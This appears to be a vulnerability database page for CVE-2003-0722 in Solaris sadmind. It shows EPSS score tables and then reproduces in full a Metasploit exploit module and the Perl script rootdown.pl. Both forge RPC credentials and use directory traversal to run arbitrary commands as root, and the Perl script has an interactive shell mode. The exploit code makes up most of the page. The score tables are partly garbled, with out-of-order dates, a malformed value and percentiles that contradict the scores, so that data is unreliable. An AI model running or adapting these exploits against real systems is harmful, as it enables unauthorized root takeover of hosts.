CVE-2003-0722 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	67.43%	–	–
2023-03-12	–	–	–	97.11%	–
2023-03-26	–	–	–	96.99%	–
2023-10-08	–	–	–	97.07%	–
2024-03-03	–	–	–	97.03%	–
2024-06-02	–	–	–	97.03%	–
2024-07-21	–	–	–	96.93%	–
2024-12-22	–	–	–	96.76%	–
2025-01-26	–	–	–	96.53%	–
2025-01-19	–	–	–	96.76%	–
2025-01-25	–	–	–	96.53%	–
2025-03-18	–	–	–	–	89.61%
2025-03-18	–	–	–	–	89.61,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	1%
2023-03-26	1%
2023-10-08	1%
2024-03-03	1%
2024-06-02	1%
2024-07-21	1%
2024-12-22	1%
2025-01-26	1%
2025-01-19	1%
2025-01-25	1%
2025-03-18	1%
2025-03-18	1%

## # $Id: sadmind_exec.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SunRPC def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris sadmind Command Execution', 'Description' => %q{ This exploit targets a weakness in the default security settings of the sadmind RPC application. This server is installed and enabled by default on most versions of the Solaris operating system. Vulnerable systems include solaris 2.7, 8, and 9 }, 'Author' => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9583 $', 'References' => [ ['CVE', '2003-0722'], ['OSVDB', '4585'], ['BID', '8615'], ['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'], ], 'Privileged' => true, 'Platform' => ['unix', 'solaris'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ ['Automatic', { }], ], 'DisclosureDate' => 'Sep 13 2003', 'DefaultTarget' => 0 )) register_options( [ OptString.new('HOSTNAME', [false, 'Remote hostname', nil]), OptInt.new('GID', [false, 'GID to emulate', 0]), OptInt.new('UID', [false, 'UID to emulate', 0]) ], self.class ) end def exploit sunrpc_create('udp', 100232, 10) sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], []) if !datastore['HOSTNAME'] print_status('attempting to determine hostname') response = sadmind_request(rand_text_alpha(rand(10) + 1), "true") if !response print_error('no response') return end match = /Security exception on host (.*)\. USER/.match(response) if match hostname = match.captures[0] print_status("found hostname: #{hostname}") else print_error('unable to determine hostname') return end else hostname = datastore['HOSTNAME'] end response = sadmind_request(hostname, payload.encoded) sunrpc_destroy if /Security exception on host/.match(response) print_error('exploit failed') return else print_status('exploit did not give us an error, this is good...') select(nil,nil,nil,1) handler end end def sadmind_request(host, command) header = XDR.encode(0) * 7 + XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \ 4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \ host, 'system', '../../../bin/sh') body = do_int('ADM_FW_VERSION', 1) + do_string('ADM_LANG', 'C') + do_string('ADM_REQUESTID', '00009:000000000:0') + do_string('ADM_CLASS', 'system') + do_string('ADM_CLASS_VERS', '2.1') + do_string('ADM_METHOD', '../../../bin/sh') + do_string('ADM_HOST', host) + do_string('ADM_CLIENT_HOST', host) + do_string('ADM_CLIENT_DOMAIN', '') + do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') + do_int('ADM_FENCE', 0) + do_string('X', '-c') + do_string('Y', command) + XDR.encode('netmgt_endofargs') request = header + XDR.encode(header.length + body.length - 326) + body ret = sunrpc_call(1, request) return XDR.decode!(ret, Integer, Integer, String)[2] end def do_string(str1, str2) XDR.encode(str1, 9, str2.length + 1, str2, 0, 0) end def do_int(str, int) XDR.encode(str, 3, 4, int, 0, 0) end end

#!/usr/bin/perl -w ################## ## # Title: rootdown.pl # Purpose: Solaris Remote command executiong via sadmind # Author: H D Moore hdm at metasploit.com # Copyright: Copyright (C) 2003 METASPLOIT.COM ## use strict; use POSIX; use IO::Socket; use IO::Select; use Getopt::Std; my $VERSION = "1.0"; my %opts; getopts("h:p:c:r:iv", \%opts); if ($opts{v}) { show_info() } if (! $opts{h}) { usage() } my $target_host = $opts{h}; my $target_name = "exploit"; my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$"; my $portmap = $opts{r} ? $opts{r} : 111; ## # Determine the port used by sadmind ## my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10); if (! $target_port) { print STDERR "Error: could not determine port used by sadmind\n"; exit(0); } ## # Determine the hostname of the target ## my $s = rpc_socket($target_host, $target_port); my $x = rpc_sadmin_exec($target_name, "id"); print $s $x; my $r = rpc_read($s); close ($s); if ($r && $r =~ m/Security exception on host (.*)\. USER/) { $target_name = $1; } else { print STDERR "Error: could not obtain target hostname.\n"; exit(0); } ## # Execute commands :) ## my $interactive = 0; if ($opts{i}) { $interactive++ } do { if ($opts{i}) { $command = command_prompt() } else { print STDERR "Executing command on '$target_name' via port $target_port\n"; } $s = rpc_socket($target_host, $target_port); $x = rpc_sadmin_exec($target_name, $command); print $s $x; $r = rpc_read($s); close ($s); if ($r) { # Command Failed if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29") { print STDERR "Error: something went wrong with the RPC format.\n"; exit(0); } # Command might have failed if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b") { print STDERR "Error: something may have gone wrong with the sadmind format\n"; } # Confirmed success if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12)) { print STDERR "Success: your command has been executed successfully.\n"; } if (length($r) != 36) { print STDERR "Unknown Response: $r\n" } } else { print STDERR "Error: no response recieved, you may want to try again.\n"; exit(0); } } while ($interactive); exit(0); sub usage { print STDERR "\n"; print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n"; print STDERR " Usage: $0 -h <target> -c <command> [options]\n"; print STDERR " Options:\n"; print STDERR " -i\tStart interactive mode (for multiple commands)\n"; print STDERR " -p\tAvoid the portmapper and use this sadmind port\n"; print STDERR " -r\tQuery alternate portmapper on this UDP port\n"; print STDERR " -v\tDisplay information about this exploit\n"; print STDERR "\n\n"; exit(0); } sub show_info { print "\n\n"; print " Name: rootdown.pl\n"; print " Author: H D Moore <hdm\@metasploit.com>\n"; print "Version: $VERSION\n\n"; # not finsihed :) print "This exploit targets a weakness in the default security settings of the sadmind RPC application. This application is installed and enabled by default on most versions of the Solaris operating system.\n\n". "The sadmind application defaults to a weak security mode known as AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode, the service will accept a structure containing the user and group IDs as well as the originating system name. These values are not validated in any form and are completely controlled by the client. If the standard sadmin RPC API calls are used to generate the request, the ADM_CLIENT_HOST parameter is filled in with the hostname of the client system. If the RPC packet is modified so that this field is set to the hostname of the remote system, it will be processed as if it was a local request. If the user ID is set to zero or the value of any user in the sysadmin group, it is possible to call arbitrary methods in any class available to sadmind.\n\n". "If the Solstice AdminSuite client software has not been installed, the only class available is 'system', which only contains a single method called 'admpipe'. The strings within this program seem to suggest that it can be used run arbitrary commands, however I chose a different method of command execution. Since each method is simply an executable in the class directory, it is possible to use a standard directory traversal attack to execute any application. We can pass arguments to these methods using the standard API. An example of spawning a shell which executes the 'id' command: # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n". "To exploit this vulnerability, we must create a RPC packet that calls the '/bin/sh' method, passing it the parameter of the command we want to execute. To do this, packet dumps of the 'apm' tool were obtained and the format was slowly mapped. The hostname of the target system must be known for this exploit to work, however when sadmind is called with the wrong name, it replies with a 'ACCESS DENIED' error message containing the correct name. The final code does the following: 1) Queries the portmapper to determine the sadmind port 2) Sends an invalid request to sadmind to obtain the hostname 3) Uses the hostname to forge the RPC packet and execute commands This vulnerability was reported by Mark Zielinski and disclosed by iDefense. Related URLs: - http://www.idefense.com/advisory/09.16.03.txt - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view "; exit(0); } sub command_prompt { select(STDOUT); $|++; print STDOUT "\nsadmind> "; my $command = <STDIN>; chomp($command); if (! $command || lc($command) eq "quit" || lc($command) eq "exit") { print "\nExiting interactive mode...\n"; exit(0); } return ($command) } sub rpc_socket { my ($target_host, $target_port) = @_; my $s = IO::Socket::INET->new ( PeerAddr => $target_host, PeerPort => $target_port, Proto => "udp", Type => SOCK_DGRAM ); if (! $s) { print "\nError: could not create socket to target: $!\n"; exit(0); } select($s); $|++; select(STDOUT); $|++; nonblock($s); return($s); } sub rpc_read { my ($s) = @_; my $sel = IO::Select->new($s); my $res; my @fds = $sel->can_read(4); foreach (@fds) { $res .= <$s>; } return $res; } sub nonblock { my ($fd) = @_; my $flags = fcntl($fd, F_GETFL,0); fcntl($fd, F_SETFL, $flags|O_NONBLOCK); } sub rpc_getport { my ($target_host, $target_port, $prog, $vers) = @_; my $s = rpc_socket($target_host, $target_port); my $portmap_req = pack("L", rand() * 0xffffffff) . # XID "\x00\x00\x00\x00". # Call "\x00\x00\x00\x02". # RPC Version "\x00\x01\x86\xa0". # Program Number (PORTMAP) "\x00\x00\x00\x02". # Program Version (2) "\x00\x00\x00\x03". # Procedure (getport) ("\x00" x 16). # Credentials and Verifier pack("N", $prog) . pack("N", $vers). pack("N", 0x11). # Protocol: UDP pack("N", 0x00); # Port: 0 print $s $portmap_req; my $r = rpc_read($s); close ($s); if (length($r) == 28) { my $prog_port = unpack("N",substr($r, 24, 4)); return($prog_port); } return undef; } sub rpc_sadmin_exec { my ($hostname, $command) = @_; my $packed_host = $hostname . ("\x00" x (59 - length($hostname))); my $rpc = pack("L", rand() * 0xffffffff) . # XID "\x00\x00\x00\x00". # Call "\x00\x00\x00\x02". # RPC Version "\x00\x01\x87\x88". # Program Number (SADMIND) "\x00\x00\x00\x0a". # Program Version (10) "\x00\x00\x00\x01". # Procedure "\x00\x00\x00\x01"; # Credentials (UNIX) # Auth Length is filled in # pad it up to multiples of 4 my $rpc_hostname = $hostname; while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" } my $rpc_auth = # Time Stamp pack("N", time() + 20001) . # Machine Name pack("N", length($hostname)) . $rpc_hostname . "\x00\x00\x00\x00". # UID = 0 "\x00\x00\x00\x00". # GID = 0 "\x00\x00\x00\x00"; # No Extra Groups $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8); my $header = # Another Time Stamp reverse(pack("L", time() + 20005)) . "\x00\x07\x45\xdf". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04". "\x7f\x00\x00\x01". # 127.0.0.1 "\x00\x01\x87\x88". # SADMIND "\x00\x00\x00\x0a\x00\x00\x00\x04". "\x7f\x00\x00\x01". # 127.0.0.1 "\x00\x01\x87\x88". # SADMIND "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x00\x00\x00\x3b". $packed_host. "\x00\x00\x00\x00\x06" . "system". "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00"; # Append Body Length ^-- Here my $body = "\x00\x00\x00\x0e". "ADM_FW_VERSION". "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00". "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x08". "ADM_LANG". "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00". "\x00\x01". "C" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0d". "ADM_REQUESTID". "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11". "0810:1010101010:1"."\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x09". "ADM_CLASS". "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07". "\x00\x00\x00\x06" . "system" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" . "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04". "\x00\x00\x00\x03". "2.1". "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0a" . "ADM_METHOD" . "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16". "\x00\x00\x00\x15". "../../../../../bin/sh" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x08". "ADM_HOST" . "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b". $packed_host. "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0f". "ADM_CLIENT_HOST". "\x00\x00\x00\x00\x09". pack("N", length($hostname) + 1) . pack("N", length($hostname)) . $rpc_hostname . "\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN". "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS". "\x00\x00\x00\x00\x00". "\x00\x09\x00\x00\x00\x1c". "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30". "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x09" . "ADM_FENCE" . "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00". "\x00\x00\x03\x00\x00\x00\x02" . "-c" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00". "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00". $command . ("\x00" x (512 - length($command))). "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10". "netmgt_endofargs"; my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body; return($res); } # milw0rm.com [2003-09-19]